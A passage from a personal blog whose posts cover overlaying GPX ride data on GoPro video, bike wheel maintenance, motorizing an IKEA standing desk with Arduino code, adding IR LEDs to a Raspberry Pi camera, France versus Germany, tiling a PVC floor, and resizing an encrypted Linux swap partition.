sudo apt install pkg-config libcairo2-dev
pip3 install -r requirements.txt
pip3 install gopro-overlay
sudo apt install fonts-roboto

2. Setup

mkdir ~/.gopro-graphics/
vim ~/.gopro-graphics/ffmpeg-profiles.json

Then:

{
  "vp9": {
    "input": [],
    "output": ["-vcodec", "vp9", "-pix_fmt", "yuva420p", "-r", "5"]
  },
  "mp4": {
    "input": [],
    "output": ["-vcodec", "libx264", "-r", "25"]
  },
  "png": {
    "input": [],
    "output": ["-vcodec", "png"]
  }
}

Then:

vim ~/Documents/my-layout-1920x1080.xml

Then:

<layout>
    <composite x="20" y="20" name="date_and_time">
        <component type="datetime" x="0" y="0" format="%H:%M:%S" size="32" align="left"/>
        <!-- <component type="text" x="0" y="36" size="32">Distance (km): </component>
        <component type="metric" x="215" y="36" metric="odo" units="km" size="32" dp="2" /> -->
    </composite>

    <composite x="20" y="976" name="big_kph">
        <!-- 1080 - 20 (margin) - 64 (altitude) - 20 (margin) = y 976 -->
        <component type="metric" x="0" y="-160" metric="speed" units="speed" dp="0" size="160" />
        <component type="metric_unit" x="0" y="-176" metric="speed" units="speed" size="16">km/h</component>
    </composite>

    <composite x="20" y="1060" name="altitude">
        <component type="icon" x="0" y="-64" file="mountain.png" size="64"/>
        <component type="metric_unit" x="70" y="-64" metric="alt" units="alt" size="16">Altitude ({:~C})</component>
        <component type="metric" x="70" y="-46" metric="alt" units="alt" dp="1" size="46" />
    </composite>

    <composite x="270" y="1060" name="gradient">
        <component type="icon" x="0" y="-64" file="slope-triangle.png" size="64"/>
        <component type="text" x="70" y="-64" size="16">Slope (%)</component>
        <component type="metric" x="70" y="-46" metric="gradient" dp="1" size="46" />
    </composite>

    <component type="chart" name="gradient_chart" x="450" y="996"/>

    <composite x="1900" y="980" name="temperature">
        <component type="icon" x="-64" y="-64" file="thermometer.png" size="64"/>
        <component type="metric" x="-70" y="-64" dp="0" size="64" align="right" metric="temp" units="temp"/>
    </composite>

    <composite x="1900" y="1060" name="heartbeat">
        <component type="icon" x="-64" y="-64" file="heartbeat.png" size="64"/>
        <component type="metric" x="-70" y="-64" metric="hr" dp="0" size="64" align="right"/>
    </composite>

    <component type="moving_map" name="moving_map" x="1644" y="20" size="256" zoom="16" corner_radius="35"/>
    <component type="journey_map" name="journey_map" x="1644" y="296" size="256" corner_radius="35"/>
</layout>

Then:

vim ~/Documents/my-layout-portrait-1080x1920.xml

Then:

<layout>
    <composite x="1060" y="1816" name="big_kph">
        <!-- 1920 - 20 (margin) - 64 (altitude) - 20 (margin) = y 1816 -->
        <component type="metric" x="0" y="-160" metric="speed" units="speed" dp="0" size="160" align="right" />
        <component type="metric_unit" x="0" y="-192" metric="speed" units="speed" size="32" align="right">km/h</component>
    </composite>

    <composite x="1060" y="1900" name="heartbeat">
        <component type="icon" x="-64" y="-64" file="heartbeat.png" size="64"/>
        <component type="metric" x="-70" y="-64" metric="hr" dp="0" size="64" align="right"/>
    </composite>
</layout>

Then:

vim ~/Documents/my-layout-4k-3840x2160-ski.xml

Then:

<layout>
    <!-- LAYOUT SIZE = 3840x2160 -->
    <!-- <composite x="40" y="40" name="date_and_time">
        <component type="datetime" x="0" y="0" format="%H:%M:%S" size="64" align="left"/>
    </composite> -->

    <composite x="40" y="1952" name="big_kph">
        <!-- 2160 - 40 (margin) - 128 (altitude) - 40 (margin) = y 1952 -->
        <component type="metric_unit" outline_width="4" x="0" y="-352" metric="speed" units="speed" size="32">km/h</component>
        <component type="metric" outline_width="4" x="0" y="-320" metric="speed" units="speed" dp="0" size="320" />
    </composite>

    <composite x="40" y="2120" name="altitude">
        <!-- 2160 - 40 (margin) = y 2120 -->
        <component type="icon" x="0" y="-128" file="mountain.png" size="128"/>
        <component type="metric_unit" outline_width="4" x="140" y="-128" metric="alt" units="alt" size="32">Altitude ({:~C})</component>
        <component type="metric" outline_width="4" x="140" y="-92" metric="alt" units="alt" dp="1" size="92" />
    </composite>

    <composite x="540" y="2120" name="gradient">
        <component type="icon" x="0" y="-128" file="slope-triangle.png" size="128"/>
        <component type="text" outline_width="4" x="140" y="-128" size="32">Slope (%)</component>
        <component type="metric" outline_width="4" x="140" y="-92" metric="gradient" dp="0" size="92" />
    </composite>

    <composite x="3800" y="2120" name="heartbeat">
        <component type="icon" x="-128" y="-128" file="heartbeat.png" size="128"/>
        <component type="metric" outline_width="4" x="-140" y="-128" metric="hr" dp="0" size="128" align="right"/>
    </composite>
</layout>

3. Generate a video

A transparent video with the data only

.env/bin/gopro-dashboard.py --use-gpx-only --gpx ~/Downloads/some-ride.gpx --profile vp9 --layout-xml ~/Documents/my-layout-1920x1080.xml --overlay-size 1920x1080 --units-speed kph --units-altitude meter --units-distance km --units-temperature degC --gps-speed-max 120 --gps-speed-max-units kph ~/Downloads/output.webm

It's going to take some hours. Encoding with VP9 in a .webm container is actually slower than with PNG in .mov container, but the file size is like 100 times smaller. Another way to speed up the processing is to further reduce the final file framerate (30 by default, here in the XML we set it to 5).

Although Kdenlive works fine with VP9 files with a framerate set to 5, Davinci Resolve 19 does not. I kept getting "Media offline" errors, after importing. In this case, exporting in .mov, using the default built-in mov profile solves the issue:

.env/bin/gopro-dashboard.py --use-gpx-only --gpx ~/Downloads/some-ski-ride.gpx  --profile mov --layout-xml ~/Documents/my-layout-4k-3840x2160-ski --overlay-size 3840x2160 --units-speed kph --units-altitude meter --units-distance km --units-temperature degC --gps-speed-max 120 --gps-speed-max-units kph ~/Downloads/output.mov

That's the kind of result you can expect:

A screenshot of the video, in case you can't play it

And the final result, merged with GoPro footage:

All that's left now, is merge this video with an actual footage, sync it, and voilà! I recommend using Kdenlive on Linux..

The final video right away (footage + overlay)

Make sure the input video has the correct mtime (modified time). Check with stat file.mp4 or ls -la file.mp4. If it's a Insta360 video, and the filename matches YYYYMMDD_HHMMSS_sss.mp4, you can update it with this script: https://github.com/rpellerin/dotfiles/blob/master/scripts/updateModifyTimeInsta360File.py

.env/bin/gopro-dashboard.py --use-gpx-only --gpx ~/Downloads/some-ride.gpx  --profile mp4 --layout-xml ~/Documents/my-layout-portrait.xml --overlay-size 1080x1920 --units-speed kph --units-altitude meter --units-distance km --units-temperature degC --gps-speed-max 120 --gps-speed-max-units kph --video-time-start file-modified some-video.mp4  ~/Downloads/output.mp4

That's it!

Common Problems With Bikes

2023-06-21T15:30:00+02:00

Servicing a bike

Broken derailleur cable

Recently my rear derailleur cable broke in the middle of a ride. Good thing it was on a Saturday morning, and a bike shop was only a few kilometers away.

The symptoms leading up to the moment it actually broken are pretty simple: all of a sudden, I could no longer shift to the 2 rightmost speeds. The explanation must be that the cable was so worn out that it would not slide properly/completely. After the symptoms appeared, it took about 50 gear shifts for the cable to actually break. When it did so, my rear derailleur suddently shifted to the rightmost speed (the hardest). Fun!

Rim cracks at spokes (wheel problem)

This one is pretty hard to identify at first. For me, gradually over some rides I started noticing like a rubbing noise. The noice would be there regardless of me pedaling or not (can be hard to hear when not pedaling because of the freewheel).

Turns out this is a very common problem with wheels. Can't be fixed, all you gotta do is replace the whole wheel (or rim if you like to build wheels).

My wheels are the entry-level ones from Mavic, the Aksium. It looks like the entry-level wheels from DT Swiss (P1800 spline) are better made. Or maybe I should get the mid-level DT Swiss PR 1400 DICUT 21 or 32? In their OXIC version? Supposedly it brakes better, with the right blue pads from DT Swiss.

Tips for buying wheels

"Centerlock" is a disc brake technology
Look for clincher wheels, not tubular
Careful with the freehub compatibility, for me it needs to be compatible with Shimano HG-L (cause I have 11 speeds)

How to true a wheel and fix spoke tension

Don't forget to re-align bladed spokes for best aerodynamics.

As to the tension, this website recommends:

90 to 110 daN (daN = decaNewtons) for a front wheel
90 to 110 daN for a rear wheel right side (cassette side)
the tensions of the spokes on the right side (cassette side) is round about 70% higher than the tension on the left side, (NB: if the spokes are the same)

Mavic Aksium

After asking Mavic directly over the phone (because no information available online), they recommend the following:

Rear wheel right side (cassette side): 90kgs, +/- 10kg
Rear wheel left side, and front wheel: 80kgs, +/- 10kg

State out of the factory for a rear wheel Mavic Aksium

They're not the best wheels out there for sure. Check out the default truness, both the radial trueness (saut in French) and lateral trueness (voilage in French) are off.

The average tension was as follows:

Right side (cassette-side): 46.7, measured with a calibrated Unior 1752/2 tension meter
Left side: 51.05, measured with a calibrated Unior 1752/2 tension meter

Spokes

Front wheel: 283-mm long, 2mm diameter (as measured by me)
Rear wheel right side (cassette side): 283-mm long, 2mm diameter (as measured by me)
Rear wheel left side: 301-mm long, 1.2x3.0mm blades (as measured by me)

DT Swiss PR 1400 DICUT OXiC

Product page
Technical pages: front and rear

State out of the factory for a rear wheel Mavic Aksium

The average tension on the front wheel is as follows:

Both sides: 40.5, measured with a calibrated Unior 1752/2 tension meter

The average tension on the rear wheel is as follows:

Right side (cassette-side): 42.5, measured with a calibrated Unior 1752/2 tension meter
Left side: 32.5, measured with a calibrated Unior 1752/2 tension meter

Adjust front Shimano 105 derailleur

Link to Reddit.

That's it!

Twitter, we are breaking up

2023-03-31T01:30:00+02:00

My very last tweet on Twitter.

Yeah that was a fun ride. 11.5 years spent on that platform. First I talked with real life friends. Then I started studying programming and quickly met like-minded people there, sharing tips, news, talking about Android, Web development... Back then I was also a big fan of Google. Then came the internationalization years, when I started interacting with non French-speakers in English and widened my reach. SpaceX, Tesla, and other new topics caught my attention. Finally I got into cycling communities, initially when living in Paris (posting videos of car drivers doing random shit). Then I moved to Berlin and my engagement came to a sudden stop, I was mostly reading and sometimes retweeting but not actively tweeting. My interest dropped at that time and shifted to different IRL activities. Then Elon Musk bought Twitter, a lot of crazy shit happened, many people left, being a verified user stopped having any sort of meaning (except that you were a paying user). And I got fed up. I'm done caring about what everyone has to say. I don't think it's very healthy anyway. There are too many weirdos out there, now with Twitter they get a voice and can spread their hatred broadly. So fuck it, I'm out!

My profile on Twitter

And my number of followers never took off anyway... HAHAHA

I might keep the account and not delete it, just so that my handle does not get stolen. But I already emptied it of any content.

Motorizing an IKEA Skarsta Standing Desk

2023-03-14T23:00:00+01:00

UPDATE 2024: after dreaming about it for about a year, the V2 of this project finally came to be. Scroll all the way down to read about it!

I got really tired of turning the crank of my IKEA Starska standing desk multiple times a day. Not only this is tedious, but also I can't keep on typing or using my mouse while doing so. And if I'm in a meeting, I look stupid. So I decided to motorize it. I know IKEA already sells an electrical version of it with a motor, but it's 200 euros more expensive and I already had one desk. Plus I like challenges!

After hours of googling and reading various blog posts (see the bottom of this page for links), after days spent waiting for all my orders to arrive, after minutes of tinkering, I finally got a working prototype!

That's far from perfect, I already have ideas about how to improve it, but for now that'll do... Down below is the shopping list for this project and the steps to build it. I hope this helps!

Hardware

DC 12V Gear Motor (37D mm)

Not just a regular DC motor. See the difference between a regular DC motor and a DC gear motor
The diameter must be 37 mm, so that it fits perfectly under the IKEA Starska standing desk
Torque must be equal to or greater than 2Nm (20.4 kg.cm) (info found here). Look at the stall torque, not the rated torque.

The motor I bought from Aliexpress

I bought and tried these 2, the 12V 72 RPM edition, that draws 3 amps ("stall current"), and the 12V 136 RPM one. According to the specs of the 72 RPM one, the stall torque is greater than 30 Kg.cm and it works perfectly! I can put weight on the desk (I tried more than 30 Kg) and it still raises the desk up easily! As to the 136 RPM, it works well too, up to 30 Kg, but it gets real close to stalling. Without much weight (a laptop and a monitor), it raises the desk at about 100 rotations per minute.

9.36 euros

Specs of the motor

Alternatively, this other motor looks like a viable option too.

Aluminum L-Bracket for 37D Metal Gearmotors

The L-Bracket pair I got (only 1 is necessary for this project though)

We will use this to secure the motor to the desk. I got it from The PiHut. £8.25

Power adapter INPUT AC 110-240V / OUTPUT DC 12V 5A

The adaper I got from Amazon

I got this one from Amazon, works like a charm! 14.99 euros.

6mm hex key

The 6mm hex key I got

I got this one Obi.de and I had to cut off the bent part of it. This will replace the original crank provided with the desk. 4.49 euros.

7mm shaft coupler

The 7mm shaft coupler I got

This will connect the motor to the hex key in the desk. Get a 7mm shaft coupler, since the motor comes with a 6mm D-shaped shaft. The hex shaft for the desk is 6mm too, so the shaft coupler must be 1mm larger. 8.27 euros.

DC motor driver

The DC motor driver I got from Cytron.io

This will control the motor. I went with the MD10-POT from Cytron, that comes with a potentiometer (adjust speed) and switch (2 directions and stop), and that does not require any Arduino nor any code writing.

Careful: this is a regenerative motor driver (as described at the bottom here), meaning that when you stop powering the motor, it keeps spinning a bit before coming to a stop (due to inertia, while it's "braking"), and as a result the current flows back to the power source. As a consequence this driver should be used with a battery, not a switching power supply, because a battery can be charged but with a switching power supply the current has nowhere to go. For this project it is ok though as the desk is heavy and won't allow the motor to keep spinning when the power is cut.

Learn more about controlling a DC motor here.

I bought mine on Botland.de. 12.48 euros.

DC Connector Barrel Plug Adapter 2.5mm x 5.5mm

The one I got

This is used to connect the DC power supply with the motor driver, I got two from Amazon. 4.99 euros.

Misc

Duct tape
A grinder, to cut off the bent part of the hex key
Electrical wire

How to build it

Cut off the bent part of the hex key with a grinder. We need a straight hex key.
Replace the original crank with the hex key, mounted with the shaft coupler.
Position the L-bracket with the motor at the end of the hex key and mark the final position with a pen.
Screw the L-bracket to the desk using a drill (slow speed)

The L-bracket is now attached to the desk

Secure the motor to the L-bracket

The motor is now attached to the L-bracket

Attach the power supply to the desk with a self-adhesive velcro, or just tape:

Self-adhesive velcro

Velcro stuck to the desk

The power supply wrapped in velcro

Connect the motor to the DC motor driver using wires, and tape the junctions for improved safety

Put tape around the connections

Connect the power supply to the DC motor driver (pay attention to polarity) using the barrel and wrap it in tape for improved safety

The barrel, connecting the DC motor driver and power supply, wrapped in tape

And last, tape everything under the desk, make sure nothing is hanging. I protected some parts (soldered points) of the motor driver board with tape. I placed the switch button near the edge of the desk to reach it easily. A better design would be to put everything in a small plastic box.

The end result

A V2 of my project would be...

With a different motor driver, that has "Over Current" and "Under Voltage" protections, such as the MD13S from Cytron. Also with an Arduino and auto-raise feature based on how long it takes to raise/lower it. I don't need to have multiple programmable positions, nor an OLED screen. An auto-raise/lower feature can be tricky, for the following reasons (copy/pasted from https://github.com/cesar-moya/arduino-power-desktop/blob/master/MotorControl/MotorControl.ino):

If you activate auto-raise, and your desk was already at the maximum height, then - depending on your desk - on the IKEA SKARSTA it will hit a stopping point and the MOTORS WILL STALL for the amount of seconds that you recorded. In other words, if you recorded 30 seconds to raise, and your desk is already at the top position (or close), and you still enable auto-raise, you risk damaging your motors as a full power will be sent to them but they will be blocked. When using auto-raise and auto-lower you must ALWAYS be present and watching the desk, ready to cancel the operation if the motors stall for any reason.

And finally, a nicer design, where everything is not taped underneath but put in a plastic box.

Upgrade 2024: version 2!

To upgrade the desk, I wanted to make it smarter. I was tired of having to manually stop the desk at the desired height. I wanted to simply press a button, and it would raise/lower itself to the desired pre-defined position automatically, alone, while I'd be gone pooring myself some coffee 😁.

To achieve this, I decided to implement the following logic:

Hardcode the maximum and minimum desired height in the code, based on my very own height and chair 😄. The current desk height could be measured with a sensor.
BUT, if anything was in the way of the sensor (like a foot!), the measures would be off. To prevent the desk from raising too high for instance, I needed another safeguard: a maximum run time (time during which the motor is either raising or lowering the desk). Actually two values, cause the motor is quicker at lowering the desk than raising it.

For this V2, we're gonna reuse most of the what we used for the V1, but we'll also need additionally:

Arduino Uno R4 Minima - 19.9 euros
2 push buttons - 7.99 euros for 7 buttons: one to raise the desk, one to lower it
2 10K-Ohm resistors - 0.05 euros each, for the buttons (despite the Arduino having an internal pullup resistor that can be used, it's not reliable enough). Prefer metal film over carbon, supposedly they're more robust.
Pololu TB6612FNG motor driver - 4.20 euros
HC-SR04 distance sensor - 1.49 euros
A 200*120*55mm junction box - 12.34 euros
2.54mm screw terminal blocks / screwshield - 7.59 euros
Tape and wires:
- male-female: 4.49 euros
- male-male: 4.49 euros
- female-female: 4.49 euros
- 2-male-to-1-female: 11.98 euros

No need for a buck converter, we'll plug the Arduino Uno R4 minima directly to the 12V power supply through its VIN pin, which accepts voltage ranging from 6 to 24V. See why just below.

A few words on the motor driver

A lot of online tutorials recommend using the classic L298N for Arduino projects. Hower, a lot of people report issues with it on the Arduino forum. A common reply is that the L298N motor driver is old and obsolete, one of its flaws is the 5V drop. People often suggest using modern motor drivers from Pololu, and the TB6612FNG seemed like a good affordable option, even if it supports 2 motors and I'm only using it for one.

To set up the TB6612FNG, I followed this tutorial. Like in the tutorial, I initially wanted to power the Arduino through the 5V output pin of the motor driver (VCC), which would be powered directly by the 12V power supply, but I could not get this to work. Measuring voltage between the GRD and VCC pins of the motor driver never showed anything beyond 3V. So I plugged the Arduino directly on the power supply, through its VIN and GND pins.

Arduino IDE

For the Arduino IDE to work on a desktop Linux distro with a R4 Minima board, I had to write:

SUBSYSTEMS=="usb", ATTRS{idVendor}=="2341", ATTRS{idProduct}=="0069", GROUP="plugdev", MODE="0666"
SUBSYSTEMS=="usb", ATTRS{idVendor}=="2341", ATTRS{idProduct}=="0369", GROUP="plugdev", MODE="0666"

in /etc/udev/rules.d/99-arduino-uno-r4.rules. Then sudo udevadm control --reload-rules && sudo udevadm trigger.

Soldering

As you can see further below in the schematic, a bit of soldering is required, specifically if you want to avoid using a breadboard, when connecting 3 wires together, for instance.

Schematic and photos

Schematic of the whole wiring

The distance sensor, outside the box

Inside the box

The box is attached to the desk with 2 screws, that can be seen in the photo above, sticking out in the box. The screws are directly screwed in the desk.

Code

Now, here's the Arduino code:

// Distance sensor pins
#define TRIGGER_PIN 5
#define ECHO_PIN 7

// Motor driver pins
#define STBY_PIN 10
#define AIN1_PIN 3
#define AIN2_PIN 4
#define PWMA_PIN 6

// Buttons
#define LOWER_DESK_BUTTON 13
#define RAISE_DESK_BUTTON 12

// Moving states
#define LOWER_DIRECTION 0
#define RAISE_DIRECTION 1
#define IDLE -1

// Settings
#define MIN_HEIGHT 66.4
#define MAX_HEIGHT 106.0
#define LOWER_TIME_OUT_AFTER_MS 43000
#define RAISE_TIME_OUT_AFTER_MS 63000
#define LOOP_DELAY 100
#define IGNORE_DELTA_IN_CM_GREATHER_THAN 1.5

// Distance sensor variables
long duration;
float deltaWithLastKnownCm ,cm, lastKnownCm;

// Moving state variables
int movingDirection = IDLE;
int movingStartedAt = 0; // in milliseconds

float readHeight() {
  // The sensor is triggered by a HIGH pulse of 10 or more microseconds.
  // Give a short LOW pulse beforehand to ensure a clean HIGH pulse:
  digitalWrite(TRIGGER_PIN, LOW);
  delayMicroseconds(5);
  digitalWrite(TRIGGER_PIN, HIGH);
  delayMicroseconds(10);
  digitalWrite(TRIGGER_PIN, LOW);

  // Read the signal from the sensor: a HIGH pulse whose
  // duration is the time (in microseconds) from the sending
  // of the ping to the reception of its echo off of an object.
  pinMode(ECHO_PIN, INPUT);
  duration = pulseIn(ECHO_PIN, HIGH);

  return (float)(duration / 2) * 0.0343; // Convert the time into a distance
}

void setup() {
  Serial.begin(9600); // Enable logs

  // Distance sensor
  pinMode(TRIGGER_PIN, OUTPUT);
  pinMode(ECHO_PIN, INPUT);

  // Buttons
  pinMode(LOWER_DESK_BUTTON, INPUT);
  pinMode(RAISE_DESK_BUTTON, INPUT);

  // Motor
  pinMode(STBY_PIN, OUTPUT);
  pinMode(PWMA_PIN, OUTPUT);
  pinMode(AIN1_PIN, OUTPUT);
  pinMode(AIN2_PIN, OUTPUT);

  // while (!Serial); // While the serial stream is not open, do nothing. FOR DEBUGGING ONLY, when the logs from line 73 are needed.
  lastKnownCm = readHeight();
  // Serial.println("SETUP!!! Height: " + String(cm) + " cm; Lastknowncm: " + lastKnownCm + " cm");
  delay(LOOP_DELAY); // Needed, otherwise the very next reading of height won't work, we'd have to wait the second call to loop()...
}

void loop() {
  cm = readHeight();
  deltaWithLastKnownCm = abs(cm - lastKnownCm); // Sometimes we get odd random readings, wildly different from the previous one. We must ignore those.
  Serial.println((String) "Height: " + cm + " cm; Delta with last reading: " + deltaWithLastKnownCm + " cm");
  lastKnownCm = cm;

  boolean isMoving = movingDirection != IDLE;

  if (isMoving) {
    movingStartedAt = movingStartedAt + LOOP_DELAY;
    Serial.println("Moving time: " + String(movingStartedAt / 1000) + " seconds");
    if (movingDirection == RAISE_DIRECTION) {
      if (cm >= MAX_HEIGHT && deltaWithLastKnownCm < IGNORE_DELTA_IN_CM_GREATHER_THAN) {
        Serial.println("Too high!");
        return stop();
      }
      if (movingStartedAt > RAISE_TIME_OUT_AFTER_MS) {
        Serial.println("Raise timed out!");
        return stop();
      }
    }
    if (movingDirection == LOWER_DIRECTION) {
      if (cm <= MIN_HEIGHT && deltaWithLastKnownCm < IGNORE_DELTA_IN_CM_GREATHER_THAN) {
        Serial.println("Too low!");
        return stop();
      }
      if (movingStartedAt > LOWER_TIME_OUT_AFTER_MS) {
        Serial.println("Lower timed out!");
        return stop();
      }
    }
  }

  if (digitalRead(LOWER_DESK_BUTTON) == HIGH) {
      Serial.println("Lower Button is pressed");
      if (isMoving) {
        return stop();
      }

      while(digitalRead(LOWER_DESK_BUTTON) == HIGH) {
        // Do nothing and wait till the button is released
        delay(20);
      }
      move(255, LOWER_DIRECTION);
      delay(LOOP_DELAY * 2); // Delaying a bit more, to allow the desk to keep lowering slightly even if min height was reached
  }
  else if (digitalRead(RAISE_DESK_BUTTON) == HIGH) {
      Serial.println("Raise Button is pressed");
      if (isMoving) {
        return stop();
      }

      while(digitalRead(RAISE_DESK_BUTTON) == HIGH) {
        // Do nothing and wait till the button is released
        delay(20);
      }
      move(255, RAISE_DIRECTION);
      delay(LOOP_DELAY * 2); // Delaying a bit more, to allow the desk to keep raising slightly even if max height was reached
  }

  delay(LOOP_DELAY);
}

void move(int speed, int direction){
  Serial.println("move() called");
  movingDirection = direction;

  boolean inPin1 = LOW;
  boolean inPin2 = HIGH;

  if(direction == LOWER_DIRECTION){
    inPin1 = HIGH;
    inPin2 = LOW;
  }

  digitalWrite(AIN1_PIN, inPin1);
  digitalWrite(AIN2_PIN, inPin2);
  digitalWrite(STBY_PIN, HIGH); // disable standby, powering the motor driver
  analogWrite(PWMA_PIN, 255); // 255 is full speed
}

void stop(){
  Serial.println("stop() called");
  movingStartedAt = 0;
  movingDirection = IDLE;
  digitalWrite(STBY_PIN, LOW);
  delay(1500); // Waiting a bit, so that a long press of a button won't stop and move it again immediately
}

Result: the V2 in action!

Raspberry Pi NoIR camera module and IR LEDs

2023-03-13T18:30:00+01:00

Lately I've been looking into adding infrared LEDs to my Raspberry Pi, as I just purchased the latest camera module v3, in its NoIR (no infrared filter) edition.

Basic knowledge required

Physics courses in high school took place like forever ago, I basically remembered nothing. So I had to dig it up a little bit and study basics again (Ohm's law for instance 😅).

Raspberry Pi

It has 2 pins that output 5V, 2 pins that output 3.3V, a few "ground" pins, and the rest are GPIO pins, that can output 3.3V and are controllable.
The Raspberry Pi can only supply a small current (about 60mA). The LEDs will want to draw more, and if allowed to they will burn out the Raspberry Pi. That's why we'll need to use a resistor. As a rule of thumb, any resistor equal or greater than 50Ω (Ohm) should suffice for one or more LEDs in series plugged on a 3.3V GPIO pin. More on that down below.

Multimeter

A tool to measure various things. The "A" (Ampere meter) plug acts as a closed circuit, so never put the test leads into the home sockets! The "V" (Voltmeter) plug acts as an open circuit.

LEDS

The anode is the long leg of a LED, where you connect the +. The cathode is the - (on the side where the diode has a flat).
Extracts from stackoverflow.com:

The forward voltage is the voltage drop across the diode if the voltage at the anode is more positive than the voltage at the cathode (if you connect + to the anode).
You will be using this value to calculate the power dissipation of the diode and the voltage after the diode.
The reverse voltage is the voltage drop across the diode if the voltage at the cathode is more positive than the voltage at the anode (if you connect + to the cathode).
This is usually much higher than the forward voltage. As with forward voltage, a current will flow if the connected voltage exceeds this value.
To paraphrase the last sentence, the forward voltage (tension de seuil in French) is the minimum amount of volts needed to light up a LED. If you connect the anode to the - and supply more volts than the reverse voltage, you'll burn the LED out.
"Forward voltage" and "voltage drop", two pieces of information usually found in LED specs, are almost interchangeable words. The "voltage drop" is the "forward voltage" at the specified current (amperage, intensité in French). If you increase the current (amperage), you'll increase the "voltage drop". That voltage drop varies depending on the current (amperage) and on the color of the LED, higher voltage = higher current (amperage). See the image further down below.
Other extracts from stackoverflow:

With an LED it's the amount of current flowing through it that determines how bright it is. Increasing the voltage increases the current, yes, but the region where that happens without the current getting too much is very small.
So we control the current instead of the voltage, and take the forward voltage as a fixed value. By either including a resistor in the circuit to fill the gap between the supply voltage and the forward voltage, limiting the current in the process [...]
Extracts from LEDsupply.com:

Running a series circuit helps to provide the same amount of current to each LED. This means each LED in the circuit will be the same brightness and will not allow a single LED to hog more current than another.
“The total voltage of the circuit is the sum of the voltages across each LED”. This means you have to supply, at minimum, the sum of the forward voltages of each LED.

So if my series circuit, connected to the GPIO pins of my Raspberry Pi, supplies 3.3V, and I plug in 2 LEDS whose forward voltage is 1.5V, there will be 3V "consummed" and 0.3V "remaining".
Extracts from LearningaboutElectronics.com:

The Continuous Forward Current specification of an LED serves to tell you the maximum current that an LED can be fed continuously without being damaged or destroyed.
The Peak Forward Current, IF(peak), specification of an LED serves to tell you the maximum current that an LED can be fed without being damaged or destroyed.

Resistor needed

As seen above, with 2 LEDs in series, each with a forward voltage of 1.5V for 20mA, plugged on a GPIO pin supplying 3.3V, we need a resistor as follow:

I = V/R
IF = (VS - VF) / R
# IF = forward current, VS = supplied voltage, VF = forward voltage
0.020 = (3.3 - 1.5 - 1.5) / R
R = (3.3 - 1.5 - 1.5) / 0.020 = 15 Ω

Note that, if we shift our target amps from 20 to say 40mA to allow the LEDs to draw more current, their forward voltage will increase. Check the specs to know how much. Never aim higher than 60mA, as it's the maximum the Raspberry Pi can deliver.

Now if we have just one LED and aim for maximum current (60mA):

R = (3.3 - 1.5) / 0.060 = 30 Ω

That's why in the beginning of the article I wrote that 50 Ω is safe for almost all scenarios. 1.5V is among the lowest voltage values drawn by LEDs, since infrared LEDs are those that need the least. For a different color (blue for instance), the computation would most likely look like this, depending on the actual specs of course:

R = (3.3 - 2.5) / 0.060 = 13.3 Ω

What I ended up doing

In the end, I bought two 1.5V 5mm IR LEDs and a 6.8 Ohm resistor, that I soldered all together. The result is pretty nice, and it's working like a charm. By connecting it to a regular GPIO pin, I can programmatically turn it on and off.

Before soldering

After soldering

Note that the LEDs I bought have a wavelength of 940 nm. I believe the camera with embedded LEDs I had before was 850 nm. 850 nm is visible by the human eye (dim red) while 940 is not at all. 940 also appears less bright on video than 850, from my experience, in pitch dark.

Others who did it before me

Testing Pi NoIR with IR LEDs

SUVs

2023-02-22T15:30:00+01:00

France vs Germany

2023-02-01T12:00:00+01:00

France is better at...

Pensions are much higher (2/3 of your last payrol in France on average, compared to 1/3 in Germany)
Healthcare system: although comparable, in Germany one has to pay out of their own pocket for healthcare insurance when unemployed. Also, the whole public/private insurances make doctors more business men than heathcare professional sometimes. For example it's easier to get an appointment at an earlier date, or easier to get an appointment at a doctor never visited before if you are privately insured.
Worked hours: typically 40 hours in Germany. In France, the legal workweek is 35 hours, but most people work more and get paid for these extra hours.
Paid vacation: minimum 20 days in Germany by law, vs 25 in France
Trains: although the SNCF is far from perfect, its trains are by an order of magniture more punctual (1, 2)

Germany is better at...

Public holidays: overall, it's comparable to France. However, some specific days are particulariy appreciated: half of December 24, December 26, and half of December 31 are holidays in Germany
Safety: big cities are much safer
Cycling: cyclists are respected by drivers. Also, cycling lanes are found everywhere outside of cities.
Saunas: the German sauna culture is simply the best in the world! Aufguss ❤️

Comment poser du carrelage sur un sol en PVC (Vinyl) ?

2022-12-18T23:54:00+01:00

MATÉRIEL

Un mètre à mesurer
Règle métallique de 2 m de long
Niveau à bulle
Aspirateur
Grand seau (20 L)
Visseuse puissante
Malaxeur pour la colle (à utiliser avec la visseuse)
Meuleuse et disque de diamant pour carrelage
Lunettes de protection
Gants
Cristaux de soude
Serpillère
Croisillons en T de 5 mm, croisillons auto nivelants, croisillons de 2,5 mm pour le dessous des plinthes
Rouleau poils mi-longs et perche pour le primaire d'accrochage
Truelle
Truelle dentée avec dents de 10 ou 12mm
Spatule fine (3-4 cm de largeur) pour aplanir la colle au bords des carreaux
Cutter
Carrelette suffisamment grande
Grosse éponge avec manche
Taloche à joint (le dessous doit être en caoutchouc)
Mastic pour reboucher les trous
Primaire d'accrochage monocomposant
Mortier-colle (de type C2 ou C2S1 - ne pas prendre de prise rapide !) - types de colle expliqués ici
Carrelage et plinthes (prévoir 10% de perte)
Joint

LIENS UTILES

How to resize an encrypted SWAP partition (LVM)

2022-07-29T19:00:00+02:00

Just because I am afraid this page might some day get deleted, I am copy pasting here the answer, which was very useful to me, when I needed to increase the size of the SWAP partition of my freshly installed Xubuntu 22.04, after I selected the "encrypted LVM partition" option in the install wizard. I am adding some commands and missing bits of information too.

Before doing anything, check what swap you have: swapon -s.

Scroll all the way down if you do not currently have any SWAP partition nor SWAP file, and need to add one.

Creating a new SWAP file of 8G

dd if=/dev/zero of=/swapfile.img bs=1024 count=8M
mkswap /swapfile.img

# Add this line to `/etc/fstab` and reboot
/swapfile.img none swap sw 0 0

Increasing the size of a SWAP partition

Before increasing the size, you need to decrease the size of its neighboring root volume, as the sum of both LVM volumes myst be equal to the capacity of the disk. Here, we add another 15G to the existing SWAP partition.

First, open a terminal and check what your LVM disk currently looks like, running lsblk:

lsblk
# sda                      8:0    0 238,5G  0 disk
# ├─sda1                   8:1    0   512M  0 part  /boot/efi
# ├─sda2                   8:2    0   1,7G  0 part  /boot
# └─sda3                   8:3    0 236,3G  0 part
#   └─sda3_crypt         253:0    0 236,3G  0 crypt
#     ├─vgxubuntu-root   253:1    0 234,4G  0 lvm   /var/snap/firefox/common/host-hunspell
#     │                                             /var/snap
#     │                                             /snap
#     │                                             /var/snap/firefox/common/host-hunspell
#     │                                             /
#     └─vgxubuntu-swap_1 253:2    0   1,9G  0 lvm   [SWAP]

Here, it's └─sda3_crypt. And we have a swap partition of 1.9G.

